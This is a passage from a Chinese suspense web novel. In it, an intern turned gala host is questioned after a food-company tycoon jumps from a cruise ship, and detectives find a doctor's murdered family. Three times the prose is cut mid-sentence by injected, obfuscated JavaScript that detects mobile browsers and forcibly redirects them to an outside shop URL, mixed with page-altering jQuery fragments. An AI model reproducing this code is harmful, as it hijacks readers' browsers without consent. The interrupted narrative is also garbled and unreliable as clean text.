《狗血两茶匙[悬疑]》 1. 茶匙 001 “金少立死了,你知道吗?” 问话的男人留着利落短发,一身看不出牌子的全黑打扮。 童鸢看过他的证件:邝斯年,裴岛侦查局中级男探员。 印象中,分别前的邝斯年还没有成为探员,柜子里的衣服足以凑出一个调色盘。 童鸢眯起双眼,饶有兴致地打量他,没有回答。 询问室陷入沉默,直到邝斯年身旁的女探员看不下去,喉咙瘙痒般咳嗽了数声,问:“童女士,你和金少立是什么关系?为什么事发前会出现在他的房间里?” 童鸢身上裹着厚重的毛巾。头发被海水浸透后又自然风干,带起僵硬的蜷曲弧度,落在雪白的毛巾上,黑白分明。 她闻言收回目光,低头注视着手中热茶。她动了动逐渐解冻的手指,说:“因为我是主持啊。主持提前和主办方对流程,不是很正常吗?” 邝斯年:“对流程对到房间里?” 童鸢笑了,单手撑起下巴,直勾勾地看他:“我只是个打工的,这个问题你该问我老板,不,应该说,问你先入为主认为的‘我的金主爸爸’。哦,也不对,金主爸爸死了,你问不着。” 邝斯年哑火。 女探员大概从未见过他这副吃瘪的怂样,眼神有些奇怪。 她主动接话,问:“童女士,根据资料显示,你是哈兰人,一年前来到裴岛留学,目前正在西坎大学攻读硕士学位,今天刚加入柠檬果娱乐,是一名实习生。所以当你说,你跑到叹世界食品的游轮上当年会主持时,我们稍微有些震惊,你是怎么突然跨岗过去的?” 童鸢:“实习生只包盒饭,没有工资,主持什么的倒是能有现金补贴。短期来看,这并非坏事。” 女探员:“即使是隶属于两家不同的公司?” 童鸢:“叹世界食品是我所在节目的冠名赞助商。金主发话要人,制片人一般很难拒绝吧。” “听起来你并不像你方才所形容的那般唯利是图。” “你也不像你身旁这位同事那般恶意揣测。” “……你这一天都经历了什么?可以详细告诉我吗?” “你想从哪里开始?” “从你正式实习开始吧。” 柠檬果娱乐的实习生统一报到时间定在一周前。 童鸢贪心,修的是双学位。双倍量的学分导致论文死线和考试严重堵车,等完成所有要求,报到时间已经晚于寻常学生五个工作日。 她原以为自己会被替换掉,没想到节目组还是留下了她,虽然做的是跑腿。 早上八点,童鸢揣着还没焐热的工作证,穿梭在码头生鲜批发市场的摊位间。她需要赶在早市结束前,将节目组所需要的食材按量配齐。 等她回到录影棚时,节目录制已经开始。 铁门紧闭,背后传来女人的声音:“糖两茶匙,再加几片陈皮,和精选走地鸡一起煲半小时左右……” 童鸢手提五大袋食材,习惯性转过身去,用背开门。 铁门看上去又黑又重,背靠上去的一瞬间却出奇的轻。童鸢用力过猛,脚下一个踉跄,其中一个塑料袋脱手而出,蹦出来三只海虾。 说话的女人手一抖,陈皮从几片变成了一整碗,啪啪啪全盖在了走地鸡上。 “卡!”导演回身就骂,“搞什么鬼啊?” 童鸢正在抓虾。 女人急忙道歉:“不好意思,导演,眼睛有些干……” “我不是说你!”大概是意识到语气不对,导演说完又匆匆改口,“任太,我没有别的意思……你特意提前从星洲飞过来,舟车劳顿的,辛苦了,我们先休息一下吧。” 任太看上去将近五十岁,留着棕色长卷发。她点点头,一边揉着眼角,一边坐到椅子上滴眼药水。 “那是谁?”童鸢轻声问身旁同为实习生的摄像。 “任莲啊,星洲名厨,种子选手,还没开录就已经敲定了好几个商务,今天就是特意空出时间来拍广告的。任太什么都好,就是感觉整容了,某些角度会有点僵。” 童鸢的关注点却在别处:“种子选手?我们是竞技类综艺?” “你……你看没看群?” 笑话,童鸢一早上连喝水的时间都没有,看什么群? 她点开刚加入不久的工作群,置顶文件名叫:厨力觉醒拍摄方案之最最最最最终再也不改版16.0。 她正准备细看文件,导演又咆哮了起来:“喂,那边那个新来的,花枝招展的,赶紧把食材整理好,收拾你的烂摊子。” 虽然没有指名道姓,但童鸢知道他说的是自己。她随手将手机放进衣服口袋,右手筷子,左手茶匙,两边同时开工,快速将陈皮捞上来,然后再把新食材填上,还原场景,方便重拍。 休息完毕的任莲走过来,看向她的工牌:“童鸢?很别致的名字。” “是吗?” 童鸢笑笑,没有主动接茬,埋头工作,生怕一个分心,又遭导演骂。 任莲又问:“实习……学生?在哪里念书?今年多大?你筷子功好像不是很好,来,我帮你。这里原本是这样的。” 任莲说着,伸手接过她的工具。 主咖纾尊降贵帮一位无名实习生,霎时引来周围注目。童鸢正想推托,忽闻一串高跟鞋声,一个瘦瘦高高的中年女人走了进来。她踩着细高跟,修身的西装外套阔腿的裤,手里提着限量的包。 童鸢提前做过功课,这人是叹世界食品集团的品牌总监,肖月娥。因是金家第五子之妻,大家都爱喊她一声“五嫂”。 五嫂穿着一身极具攻击性的香水,含笑走到童鸢和任莲面前,一边打量一边说:“刘导,多亏你们听了我的建议,在赛制中加入学徒制,现在整个画面都明亮多了。你看,这小年轻往那一站,多有活力,我们的调料才可能卖得好嘛。” 童鸢发懵,她并不是什么学徒。《厨力觉醒》的赛制也很简单,积分制,主题赛,大厨们拿出拿手菜,正面刚,没那么多花里胡哨的。 似乎带着同款疑问,导演皱眉,看向副导。 副导声音低低的,断断续续地飘到童鸢耳朵里:“叹世界确实有提过……这是赞助要求……不然就撤资……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817742|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为你推掉了……制片没跟你说吗……” 五嫂似乎没听见,抬手摸了摸童鸢的马尾,继续道:“不是我说,谁爱看一群大叔大婶满脸油光地在厨房里做菜呀,没一点话题度。最好看的还得是出错、互撕,再加点和好呀,成长呀,扯头花呀诸如此类的抓马转折。哦,对了,你网名是‘呢一奥鸟’对不对,我刷到过你的vlog,粉丝数不少哦。刘导,你有眼光。这孩子还有个优势,每次做菜都会炸厨房,哈哈哈哈哈。” 导演闭起双眼,副导尴尬赔笑,周围人不知所措,现场气氛直接冻住。 五嫂彻底误会了,以为节目组已经按她的要求修改了规则,并精挑细选出童鸢这只小菜鸡充当调味剂。 导演朝五嫂淡淡一笑,出去打了个电话,再回来时,周围人重新忙碌起来。 工作群的新消息数快速冲向99+,连清洁阿姨都被迫发动关系,在节目正式开录的前两天,联系更多像童鸢这样小有名气的小菜鸡,准备将他们打造成随时能把大厨名菜摔成泔水的烂俗戏眼。 五嫂对这个变化浑然不觉,针对童鸢的外表发表起了自己的独家点评:“这双大眼,这张小脸,嗯……没整过容吧?你怎么看怎么像我认识的一个人。” 童鸢的瞳孔微微张大,可她克制住自己刨根问底的冲动,笑着摇头。 “这身打扮不行,像个打杂的。来,把她打扮成十指不沾阳春水的大眼芭比。”五嫂一挥手,化妆师带着五套不同层次的粉冲了过来。 这……童鸢看着防水台恨天高,后退了两步。 忽然手机一动,副导主动加了童鸢好友,打招呼:别乱说话,给你出场费。 行,大眼芭比就大眼芭比吧。 她本来也没想拒绝。 就这样,童鸢直接内定成了任莲的学徒。 机制发生了变化,广告剧本也被迫重写。编剧直接摆烂,让童鸢和任莲临场发挥。任莲没说什么,主动把自己原有的台词和童鸢分了分,童鸢再加上学徒拜师的桥段,最终出来的效果竟让五嫂十分满意:“不错,我们叹世界的调料系列一定能大卖。” 眼看日薄西山,门外的圣诞树亮起了灯。 五嫂从包里取出一沓厚厚的邀请函,逐个递去,说:“不好意思啊各位,因为我的任性,让大家的工作量增加了。有需要人手的地方直接跟我说,我手上还有不少资源。” 原来她都知道。 刚才的一切不是误会,而是施压。 童鸢接过邀请函,听闻五嫂笑着说:“今晚是平安夜,也是我们叹世界集团的年会,设在游轮上。为了补偿大家,请务必过来参加哦,我们特意给大家留了位置。对了,还有抽奖活动,说不定能抽中小轿车什么的。” 工作人员的脸色更精彩了。毕竟这是平安夜,谁没有个约会?可童鸢不一样。 ——年会,意味着叹世界的董事长金少立夫妇,以及他的几位兄弟,都会在游轮上。这才是她留学裴岛乃至加入节目组的真正目的。 童鸢看了眼面前的两位探员,不动声色地把这两句话藏回肚子里。 2. 茶匙 002 纵使万般不情愿,《厨力觉醒》的大部分工作人员都还是来了。他们坐在亚热带的海面上,吹着不算寒冷的圣诞的风,加班。 童鸢坐在餐厅卡座里,一边啃着牛排,一边看餐厅外的恒温泳池偶尔溅起水花,隐约能看到五嫂肖月娥的身影。 肖月娥很忙,宾客陆续上船,每一位她都得接待。明明金家子孙兴旺,现场却只有她一个人忙得团团转,其他人全不见踪影。 刚结束一通电话,五嫂走了过来,看着选角导演和后勤组长,说:“我这里恰好有几个小网红,我也都见过,样子还算是真材实料,你们要不要联系看看?他们今晚也会在现场。” 明知道是塞人,打工人们却已经没有退路,纷纷接受五嫂推送过来的好友名片,抓紧时间,分头联络。 一旁的任莲反应淡淡,吃得不多,却似乎对童鸢十分感兴趣,有一搭没一搭地问起那些没问完的问题。童鸢感觉她没有恶意,于是一一回答,甚至还复盘起了这一天的拍摄。两人渐渐熟络起来。 期间,童鸢上了一趟洗手间,路过餐厅旁的休息室时,她看到一名盛装女人。 女人身穿淡蓝色晚礼服,脸色惨白,头发凌乱,沙发旁的垃圾桶里装满了呕吐物。 虚掩的房门后传来肖月娥的声音:“你事先没吃晕船药吗?” “我明明吃了的,可不知道为什么就是没有效果,以前不是这样的……” 肖月娥:“行,别说了,都是借口。有没有人能顶上?” 房间里的其他人七嘴八舌讨论起来,童鸢觉得自己该走了。忽然,虚掩的房门大开,肖月娥走了出来。 她见到童鸢,眼神一怔,随后一把抓住童鸢的手腕,将她拉进了休息室:“童童,你得帮姐一把。词什么的都已经写好,你替姐当一晚主持人,姐给你封个大红包。” “这……” “我今天看过你的表演,台词台风都没问题。来,快脱衣服。礼服就这么一件,也没件备用的……唉,大伯也真是的,卡预算也不能卡这么紧吧。” 童鸢完全插不上话,等她回过神来时,自己已经穿戴整齐,在品牌经理的指导下熟悉流程和主持稿。 年会是大事,几乎整个品牌部和行政部都忙得团团转,品牌经理的电话不停地响。在接到不知道第几通电话时,他扭头朝童鸢吩咐道:“金董现在有空,你赶紧去他房间里和他对一下流程,晚会一个小时后开始。” “啊?等等……” 品牌经理已经被人叫走了,临走前把房间号报给了童鸢:“记住,GS52,快去。” “啊……”童鸢看了眼五嫂刚手机转账给她的大红包。 正所谓受人钱财替人消灾,她最终还是决定先去看一眼。 GS52是整艘游轮最豪华的房间,童鸢坐电梯上到顶层,找到对应房号,正准备敲门,房门从里面打开了。 “金董,那我先回去了。”出来的是一名戴着无框眼镜的家庭医生。 “参加完年会再走吧,反正船也不会开出去很远,只是稍微意思意思。”是金少立的声音。 “不了,家里还等着我回去吃放。” “这样啊,那你快回去吧,晚了,叹世界号可就要起锚了。” “行……那金董再见。” 医生说着,转身要走。船上走廊狭窄,他差点撞到童鸢身上,不由得惊呼出声。 “怎么了?”金少立探出头来。 他五十多岁,身材结实,显然刚洗完澡,还裹着浴巾。童鸢忙道:“金董你好,我是柠檬果娱乐的实习生,今晚的主持,陈经理让我过来跟你对一下接下来的流程。” 金少立打量她一眼,侧身:“进来吧。” 流程的沟通很顺利,金少立甚至都没有问她,为什么是柠檬果娱乐的实习生来当叹世界集团的年会主持,为什么是主持来对流程,而不是这次晚会的总导演肖月娥。 幸好一切顺利,不多时,童鸢就离开了房间,继续在休息室里准备。 八点,大家已经吃得差不多,泳池派对完全点燃的时候,晚会正式开始。 舞台就设在船头甲板上,所有人举着香槟来到泳池前方。 上台前,童鸢还有些担心,可站到台上后,她发现根本没有人在意她的不完美,因为他们早已喝到了沸点,稍微一点小调皮就足以让气氛嗨起来。 今年的年会恰好是叹世界集团成立二十周年,等所有表演结束,最终大奖抽出,以金少立为首的家族领导团陆续来到台上,举行二十周年庆的启动仪式。 这是童鸢第一次近距离看清他们所有人的面孔。 金少立虽是叹世界集团董事长,但在金家实际排行第六,目前除了正在服刑的四哥,英年早逝的五哥,大哥、二哥、三哥和五嫂都在集团中担任要职。其中,年纪最轻的五嫂肖月娥都已经年逾半百。 他们身穿正装,显得和狂欢的氛围有些格格不入。 待他们在台上站稳,童鸢跟着台本念道:“请各位领导将象征叹世界企业文化的五把钥匙放入指定装置,共同开启未来新篇章。” 金少立和肖月娥以及几位兄弟对视一眼,笑着启动装置。 一瞬间,烟花从海面升腾而起,钩织出漫天的鸢尾花。 就在这时,变故发生了。 金少立抬头看着被照成深蓝色的黑夜,突然像发了疯一般喃喃自语,只见他脚步虚浮,横冲直撞,就连想要上前拉住他的肖月娥都被他甩到了一旁,差点撞到了几位兄弟。 “回来了……他回来……他们都回来了……” 金少立的声音越来越大,在烟花的炸裂声中回荡。他一边喊着,一边爬上船头护栏,以迅雷之势跳了下去。 距离稍近的童鸢来不及多想,蹬掉高跟鞋便跟着飞身而下。 随后,不知道是谁抛下了救生圈,童鸢一手撑起金少立的上半身,一手拉着救生圈,勉强维持着两人的重量。离港不远的游轮不得不即刻返航,由救生员驾驶救生艇,将他们拉回岸上。 匆忙赶来的救护车一拥而上,童鸢看着被抬走的金少立,手心还残留着海水的咸腥以及对方皮肤的温度…… “以上,就是我这一天以来所经历的全部。” 杯中茶终于晾凉,童鸢低头抿了一口。 女探员问:“你为什么要下去救他?” 童鸢:“条件反射。你见到人坠海,难道不救?” 女探员沉默地看向身旁的邝斯年,似乎是没什么要问的了,在等对方补充。 邝斯年没有说话,换他斜斜抬眸,安静地打量着童鸢。 童鸢眯起双眼。她知道,他起疑了。每当她撒谎被拆穿时,对方都会这么看她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邝斯年:“找到那位家庭医生了?” “没有。”对方摇头,“但我们在他家里发现了两具尸体,初步怀疑是他的妻儿。科长让你现在就过去。” 邝斯年微微一怔,脑海里反复出现童鸢方才说过的话。 童鸢在询问室里打了个哈欠,问女探员:“我现在可以回去了吗?还是说还要等你的那个同事回来?” 对方不好说什么,只笑笑,准备再多问几个问题。 可童鸢没给她这个机会。她微微站起,俯身凑到女探员耳边,轻声问道:“金少立没死,对不对?” 女探员没有回答,可她略显一滞的呼吸还是透露出太多信息。 童鸢笑了:“我就知道你们在诈我。” 几乎是同一时间,邝斯年走了进来:“你可以走了,感谢配合。” 童鸢施施然走到他跟前,拿过他手中的笔,在他手背上写下一串号码,说:“微信电话同号,有新进展,打给我哦,帅哥。” 说完,她莞尔一笑,极具挑衅地瞥了他一眼,走了。 待童鸢彻底走远,有同僚从隔壁监听室出来,朝他吹起了口哨。 邝斯年脸一黑,阴森森地说:“都跟我去现场。” 3. 茶匙 003 现场位于西山口名门豪庭的一处商品房。 由于金少立当晚的现场反应存在异常,侦查局无法排除他杀未遂的可能,于是对其当天所接触的人员展开排查,其中就包括金家的家庭医生周智健。 据走廊监控显示,周智健在GS52房逗留了约十五分钟,随后便在开船前下船回家。 探员根据其五嫂肖月娥提供的联系方式,尝试拨打周智健的电话,但一直没有联系上,于是一路摸上其ID复印件上所登记的住处,名门豪庭。 屋内一直没有人回应。 该栋大厦的保安回忆称:“最后一次见到周医生是在五天前……也就是周日凌晨,他好像是拿着行李箱出去的,然后就再也没有回来了,可能是出差。” “那他的家人呢?” “他和他妻子就一个儿子,那小孩大概八、九岁吧,闹腾得很,可最近这一周也都没怎么听到声响,不知道是不是回乡下去了。” “他们是带着行李离开的?没有跟周智健一起走。” 保安认真想了想,摇摇头:“他们没有一起走,但周太和小周生有没有带行李,我就说不准了,毕竟我也不是一直守在门口,也许是我上厕所或者换班的时候错过了,所以不是很清楚。” “所以你其实并未亲眼见到他们离开。” “嗯,可以这么说。” “周智健离开前,你有没有留意到什么异样?” “这个……”保安努力回忆,忽然双眼一亮,说,“周五周六的时候,医生好像一直在家,没有出门。” “这么说的依据是?” “那两天断断续续传出类似电钻的声音,好像是在装修。我们还担心周六会被投诉,增加工作量,但幸好周医生人缘好,在业主群里打了招呼,说平常上班忙没有时间,只能在周六开工,其他业主也体谅,这才没造成什么冲突。” 探员两人一组,其中一人问话,另一人则在周家门口观察。她的视线落在一旁的鞋架上。 鞋架上整齐摆放着三双拖鞋。和周围的高跟鞋和皮鞋相对比,其中三双拖鞋显得过于干净,就像是刚买回来的一样,一次都没有穿过。 她挑起那双尺寸最小的,朝鞋底看去,防滑纹理里连颗尘埃都没有。这对于一个好动的孩子来说太难了,说明,这三双鞋极有可能是刚放上去的,还一次都没有穿过。 可谁会在出远门前换新拖鞋?难道不应该回来之后再换吗? 此外,门口还堆放了大量未拆封的快递,其中一箱水果已经烂掉,隐隐散发出难闻的味道。 她越想越不对劲,和搭档稍一权衡后,选择破门而入。 屋内打扫得很干净,空气中飘满了除臭香薰的味道。他们到各个房间里搜查,并未发现明显的可疑踪迹,直到他们打开了冰箱。 冷冻层里塞满了打包大件行李专用的透明真空袋。 真空袋里隐约可见已经冻僵硬了的肉块,探员上前扫走袋子上的霜,看到了一大一小的人的手。 “最新消息透露,叹世界集团董事长金少立目前已脱离生命危险,但尚处于昏迷当中……” 最新的新闻报道已经出来,女主播字正腔圆,并未剖析金少立本次坠海的起因,而是突然来个大转折,讲起了金少立从偷渡客到富商名流的励志发家史。 童鸢看得索然无味,手指往上滑动,下一个视频正在讲叹世界的股权架构和品牌线。 再下一个视频,是叹世界各品牌线的周年大促,其中就包括这次赞助他们的调料系列。 无聊,全是些无关紧要的信息。 看来,要想知道最新的侦查进展,还得找邝斯年。 她准备退出界面,忽然,屏幕的最上方弹出一条消息。 【你有新的好友申请,KSN:我是邝斯年,请通过。】 这是童鸢近期看过的最硬邦邦的招呼语。 金少立坠海事件发生后,至今已过去两天。节目组因接受调查,停工了一天,昨天拍完剩下的中插,并敲定临时加进去的学徒们后,紧赶慢赶地,今天终于正式开始节目录制。 而这两天里,邝斯年一点消息都没有。 童鸢挑眉。消息在屏幕上大概停留了三秒,然后又自己消失了。她不准备现在就点击“通过”。 根据她对邝斯年的了解,要是没什么重要事,他不会主动找她。可这件事又没有重要到需要立刻联系她,说明火候还不够。那便以牙还牙,让这家伙也品尝一下等待的滋味。 恰好这时副导过来催场,童鸢顺理成章地将手机调成飞行模式,穿着一身淡粉色的学徒服,走进学徒等候区。 她一走进来,周围人的脸色都变得有些古怪。 在他们当中,有些是工作人员,原本对童鸢的态度挺好的,可自从坠海事件发生之后,他们就变得疏远。童鸢不知道为什么,也不想深究。 还有一部分人是和她一样的“学徒”。也许是从哪里听到了“内定”“游轮”相关的风言风语,交头接耳间夹杂着对童鸢的猜测、忌惮、蔑视,也许还有别的情绪,但童鸢笑笑,没有理会,坐到最边缘的地方。 房间里有一块由十六张LED屏幕组成的大屏,每一个小屏幕都在现场转播名厨区的情况。 根据最新制定的规则,十六位名厨将率先展现自己的厨艺和个人风格,随后由学徒们品尝菜肴,进行投票,选出自己想要拜师的对象。 投票完毕后,再由名厨进行反选。反选共两轮,名厨有权利拒绝或选择未给自己投票的学徒,必要时还可以加一轮“试炼”,直至一对一匹配成功。 将厨艺比赛搞成类似恋综的机制,全拜肖月娥所赐。 此时,LED屏幕上还一个人都没有,只有十六个空荡荡的料理台。 学徒等候区内还有一台电视,可以清晰听到主持人进行节目和规则介绍。随着介绍推进,十六位名厨陆续进场。 人群中,童鸢看到了任莲。她一脸和蔼,举止松弛,像是只是来参加一场普通茶话会,唯独下巴和脸颊在说话时显得有些僵硬。在她的脸颊处,有一道增生疤痕,虽用遮瑕膏覆盖,可在灯光变换间,还是依稀可以看到。 童鸢注视着这张脸,莫名觉得有些难过。 忽然,身边传来一阵骚动,童鸢接连听到了好几个“帅”字。 她把视线转移到另一边。屏幕上的那张脸和她脑海中存放的资料重合,瞬间调出对应的人物信息:金诺贤,18岁,五嫂肖月娥的独子,叹世界餐饮事业群最年轻的厨师,曾斩获不少国际大奖。 节目组亲赠称号:雌雄难辨怪物新人。 额……好二。 金诺贤有多好的厨艺,童鸢不知道,但她所查到的信息显示,叹世界集团拥有柠檬果娱乐10%的股份,虽不算绝对控股,但在牌桌上依然有足够的分量。 肖月娥这般大张旗鼓地将小公子安排进来,除非小公子有足够的实力和人格魅力,否则,招黑是必然的。 童鸢看不懂,但若是想要更多地了解金家,这家伙说不定是难得的突破口。反正她的匹配名厨已经定好,不如趁机多看几眼这位扎着小辫子的清瘦大高个,想想有没有可能溜进金家。 大概过去一个小时,名菜陆续出炉。接下来,轮到名厨进入等候间,通过屏幕观察学徒们试吃后的反应和选择。 为了表示没有内幕,童鸢并未直奔任莲的豉油鸡,而是避开人群,顺着菜式的顺序,一一品尝。 童鸢其实并没有十分突出的味蕾,说不出个一二三,只觉得每样都很好吃,连今天的晚饭都可以省了。尽管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817744|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此,她并未忘记自己的CP,稍微“犹豫”后,坚定地站在没有人选的传统菜式豉油鸡的身后。 等所有学徒都做出选择,他们身后的幕布将会落下,并公布第一轮结果:是否接受这位徒弟。 名厨若是接受徒弟的选择,就站到幕布后面,若是不接受,则不站。按照计划,这个时候会出现轮空,接下来将进入名厨的反选环节。 如无意外,童鸢身后将会也只会站着任莲。 可意外还是发生了,任莲身旁多了个金诺贤。 金诺贤抿着嘴,嬉皮笑脸:“嗨,不记得我了?” ……哈? 童鸢很清楚,自己对这位仁兄的认知只停留在八卦新闻和商业财报上,对方应该不知道自己。再说了,现在这一轮还没到他乱选。 童鸢心里一边吐槽,一边努力维持着内心的平静和脸上的得体。 突然,旁边的台子传来碗筷落地的声音,金诺贤的龙井虾仁洒了一地。在这一地狼藉的边上,站着一位女学徒。她很年轻,看上去和金诺贤差不多年纪,正怔怔地看着他。 主持人有些不知所措,看向导演:“这……好像还没到这个环节吧。” 导演揉着眉心,说:“休息一下,然后直接进入学徒加试环节吧。各位大厨看过他们的成品后,再做决定。” “全部都要加试?” “对,全部都要。” 一瞬间,所有人的目光齐刷刷看向童鸢,满是怨恨。 童鸢才是真的怨:关她什么事咧…… 于是,后勤组开始忙碌起来,将料理台清理干净,端上提前就为学徒们准备好的食材。 童鸢趁机上了个厕所,心里想着的不是食谱,而是突然变得复杂的人物关系。 她最后必然是要选择任莲的。可若要接近金家,金诺贤也不能得罪,甚至还要想办法接近他。虽然不知道这位小少爷的豆腐脑袋里都装了些什么,可眼下这就是个机会,她不能错过。 正思索间,隔间外传来重重的关门声,然后是落锁的声音。 童鸢刚够上冲水按钮的手悻悻然缩了回去。 “为什么不选我?” 童鸢双耳一动,认出来了是刚才那个浪费粮食的美少女。她当时留意了对方的名牌,美少女的名字也很好听,叫做段书艺。 “因为这样比较好玩。”金诺贤说。 所以这两人有关系?童鸢旋即打开手机,通过模糊搜索,试图找出段书艺的社交账号。 “我们的关系不是用来玩的。” 我天,你们说的关系是什么关系?童鸢加快了搜索的手速,还不忘将所有音量都调成静音。 金诺贤:“我们只是朋友。” “可我们都已经是那种关系了!” 到底是哪种关系?啊……怎么就是找不到呢? 外头许久没再传来声音,金诺贤沉默了。 段书艺一字一顿:“你会后悔的。” 门锁打开,洗手间的大门重新关上,童鸢舒了口气,却还没有放弃寻找线索。 突然,隔间门咚咚作响,童鸢吓了一跳,手机差点报废。 只听金诺贤在门口说:“选我,你的利益才能得到最大化。” 童鸢呼吸一滞,隔着木板问:“你明知道我在这,还吵这么大声?” 金诺贤轻轻一笑,没有回答,走了。 童鸢收起手机,觉得这个人真是疯了,竟然认为自己是值得被雌竞的。难道金家人都是这么盲目自信且蛮不讲理的?要真是这样,她可就得好好考虑清楚,自己到底要不要回去了。 她推开大门,重新来到烹饪区。 录影继续。隔着料理台,她看了眼摄像机,打开了炉灶。 一瞬间,火光淹没了整个画面。 4. 茶匙 004 童鸢感觉整个身体,尤其是面部,都陷入火焰的炙烤之中。 呼吸困难,高温让她的头脑短暂地陷入空白。四肢先于她的意志接连后退数步,直到温度被拉开,皮肤触碰到另一个人的怀抱。 “怎么样?有没有被烧到?” 是任莲。 童鸢一边摇头,一边摸了摸自己的脸。眉毛被燎到了,烤卷了一小截,其他地方幸好只是虚惊一场。 她逐渐镇静下来,现场却陷入了混乱。 反应最快的是金诺贤。他一把拉开最近的消防箱,快速拔掉灭火器上的保险销,将喷管对准火源压下压把,灭火剂霎时喷出,覆盖在火源之上。 可火势并未减弱,甚至在灭火剂到达的同时出现明显的一窜,差点把头顶的吊灯也烤焦。 现场越发混乱,副导将金诺贤拉到一旁,阻止他继续火上浇油。 火光中,猛然出现一个高挑的身影。 段书艺举起一块大布,朝火焰扑了上去。火势顿时消下去大半,众人这时才足以看清,是煤气罐的出气口正在往外喷火,烧着了料理台上的物件。 显然,金诺贤也看到了,他拿起一块湿毛巾,包住手,迅速将煤气罐的阀门关闭。与此同时,段书艺利落地踩着高跟鞋,又搬运来好几块大布,两人相互配合,最终将火扑灭。 待一切结束,童鸢的料理台已经是一片混乱。同样混乱的还有摆放着食材的方桌——东西洒落一地——段书艺灭火所用的正是从这里直接抽出来的桌布。 有人悻悻然问:“要不要……报警?” 导演终于有了回应:“等今天的录完了再说。” “可是没有多余的料理台了……” 导演略一沉吟:“拍中插的料理台不是还没撤吗?” “可置景不一样。” “挂黑布。” “……仓库只有绿布了。” “那就挂绿布,后期P!后勤组快去处理!我们的进度已经落后了,今天必须把第一轮拍完。” 其他人自然是无所谓的。他们的料理台并没有遭殃,只需要把机位稍作调整,巧妙地避开混乱的地方,便可以继续往下走流程。 段书艺补过妆,将略显混乱的长发梳理整齐,面无表情地看了童鸢一眼,回到自己的料理台前。 银铃按响,录制继续,任莲随其他名厨一起在一旁观察。 所有人各司其职,只有童鸢站在门边等着,直到新的料理台准备完成,她才走到隔壁,自己一个人静静地烹饪。等她完成时,其他人的部分早就已经结束了。 不少人过来看热闹,其中就包括段书艺和金诺贤。 童鸢其实并不懂烹饪。因为养父母查出糖尿病的缘故,她已经习惯了吃纯水煮的东西。她循着仅有的一小抹记忆,尝试做出印象中的椰汁西米露。 坦白说,这是再普通不过的甜品,上不了台面,妥妥地班门弄斧。可台上一分钟台下十年功,童鸢觉得自己的菜鸡定位不可能在短短两天内就赶上做菜做了十几二十年的老师傅,于是选择坦然展现自己的实力。 当然,这份实力不包括“炸厨房”。 金诺贤先任莲一步走了过来,大口尝了一小碗,说:“西米足够有嚼劲,椰汁香味浓郁,甜而不腻,很清新,我喜欢。” 童鸢不动声色地瞟向摄像机后的段书艺,眼神碰撞之间,对方已经没有了刚才英勇救人的仗义,毫不客气地对她做了个国际友好手势。 任莲也过来了,她问童鸢:“为什么选择做西米露?” 童鸢如实回答:“这是我有记忆以来最喜欢的食物,也是我唯一自认做得还算可以的……” 任莲:“谁教你的?” “我母亲。啊,好像也不能这么说。我已经不记得她长什么样了,只记得这份甜品的香气和味道,于是就照着网上的食谱一点点地做,一点点地改。” 任莲对童鸢的选择是不会变的,童鸢也一样。 金诺贤对此只是漫不经心地笑笑,最后还是和段书艺组成了师徒搭档。 煤气泄漏事故最终没有报警,后勤组留下来清洁。童鸢稍微收拾了一下,准备下班。 此时已经是晚上十一点,录影棚外气温骤降,任莲问童鸢:“你住哪里?我送你?” 童鸢稍一犹豫,马路对面有车灯闪烁。驾驶座的车窗降了下来,露出邝斯年那张臭臭的脸:“上车。” 童鸢这才想起,他的好友请求尚被晾在手机软件里。 也许是灯光太暗,任莲没认出那是前几天找他们问话的探员,问她:“谁?男朋友?” 童鸢觉得这种先入为主很是有趣,笑了:“我叫的网约车。任太,谢谢你,我先走了。” 任太没再说什么,笑着跟她挥手道别。 童鸢拎着背包,走向邝斯年。她绕着车头转了一圈,在副驾上停顿了三秒,随后走向后排,在他的斜后方落座,说:“可以走了,师傅。” 邝斯年的眉毛在后视镜里跳了几跳,最后还是打着了发动机,问:“尾号1773的客户,去哪?” “樱桃公寓。” “现在才下班,不去吃点东西?” “吃道具吃饱了。” “……” 一路无言。 童鸢看着窗外飞速后退的路灯,随手点开软件,通过了邝斯年的好友申请。 叮咚一声,对面同步收到了提示。 邝斯年终于开口:“你从哈兰来裴岛一年多,为什么没来找我?” 童鸢:“我们又不熟。” 邝斯年:“我们可是邻居。” “曾经的,邻居。” “……” 童鸢是在两岁的时候被哈兰的养父母收养的。 他们的家是栋温馨的两层小住宅,有着宽敞的后院,水泥铺就的专属车道以及修剪整齐的门前草地。 偶然的一天,童鸢在后院植物围墙脚下发现了一个新刨的狗洞。好奇心作祟,她顺着狗洞爬了过去,结果爬到了隔壁家,被一只过分热情的幼年哈士奇吓得大哭。 哈士奇的主人听到声音,急忙跑过来,将她抱起,然后送回了家。寒暄中,童鸢知道了他的名字,邝斯年。 第二天,当搬家的一切工作都处理完毕,邝斯年一家带着伴手礼过来打招呼。 